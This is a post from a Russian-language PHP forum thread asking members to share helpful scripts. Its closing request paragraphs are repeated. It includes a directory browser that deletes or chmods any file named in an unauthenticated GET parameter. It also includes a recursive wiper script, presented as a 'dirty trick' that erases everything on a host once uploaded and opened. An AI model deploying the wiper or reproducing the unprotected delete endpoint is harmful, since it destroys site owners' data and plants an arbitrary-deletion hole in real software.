sesharim
Знаток
- Регистрация
- 3 Окт 2006
- Сообщения
- 299
- Реакции
- 29
- Автор темы
- #1
Помню, был такой топик, не знаю как другим, но мне очень помог. Предлагаю возродить. Я ранее даже распечатывал интересные решения по коду.
код, указанный ваше показывает все файлы в папке кроме стилей, и т.д. Удобно просматривать файлы в папке, выдавать права, и удалять папки и файлы.
выше не большое "западло". Закидываем скрипт на хост, заходим, и скрипт сносит всё что находит. Правда если не ошибаюсь надо chmod(0755);
Скидываем любые скрипты на php / mysql / js, которые вам помогли, любое полезное решение.
Добавлено через 5 минут
кстати, интересует mysql класс, где все select, update, delete и т.д в наличие, хотелось-бы рассмотреть пару классов. Если что - прикрепляете.
PHP:
<?
#include("dbconnect.php");
$do = $_GET['auction'];
switch ($do) {
case 'delete';
if (filetype($_GET['filename']) == "file") {
unlink($_GET['filename']);
} elseif(filetype($_GET['filename']) == "dir") {
rmdir($_GET['filename']);
}
break;
case 'chmod';
if (filetype($_GET['filename']) == "file") {
chmod($_GET['filename'], 0755);
} elseif(filetype($_GET['filename']) == "dir") {
chmod($_GET['filename'], 0755);
}
break;
default:
break;
}
echo "
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">
<html>
<head>
<title>dir</title>
<meta http-equiv=\"Content-Type\" content=\"text/htm\"; charset=\"windows-1251\">
<link rel=\"stylesheet\" href=\"styles.css\" type=\"text/css\">
</head>
<body>";
echo "
<table align=\"center\" cellpadding=\"0\" cellspacing=\"1\" width=\"600\" class=\"tbl-border\">
<tr>
<td class=\"tbl2\" align=\"center\">Имя файла</td><td class=\"tbl2\" align=\"center\">Действие</td></tr>";
if ($handle = opendir('.')) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != ".." && $file != "Thumbs.db" && $file != "index.php" && $file != "styles.css" && $file != "error_log" && $file != "install.php.nulled") {
$size = round(filesize($file)/1024);
echo "
<tr>
<td align=\"center\" class=\"tbl1\">
<a href=\"$file\" title=\" Тип: ".filetype($dir . $file)." \n Размер: $size \n Директория: ".getcwd()."\" target=\"_blank\">".$file."</a></td><td class=\"tbl1\" align=\"center\"> [<a href=\"?auction=delete&filename=".$file."\">Delete ".filetype($dir . $file)."</a> <b>|</b> <a href=\"?auction=chmod&filename=".$file."\">Chmod ".filetype($dir . $file)." (0755)</a>]
</td>
</tr>";
}
}
closedir($handle);
}
echo "</table>";
echo "
</body>
</html>";
?>
PHP:
<?php
function remove_directory($dir) {
if ($handle = opendir("$dir")) {
while (false !== ($item = readdir($handle))) {
if ($item != "." && $item != ".." && $item != "index.php") {
if (is_dir("$dir/$item")) {
remove_directory("$dir/$item");
} else {
unlink("$dir/$item");
echo "-- Удаленно: $dir/$item <br>\n";
}
}
}
closedir($handle);
rmdir($dir);
echo "- Удаленно: $dir <br>\n";
}
}
remove_directory(".");
?>
Скидываем любые скрипты на php / mysql / js, которые вам помогли, любое полезное решение.
Добавлено через 5 минут
кстати, интересует mysql класс, где все select, update, delete и т.д в наличие, хотелось-бы рассмотреть пару классов. Если что - прикрепляете.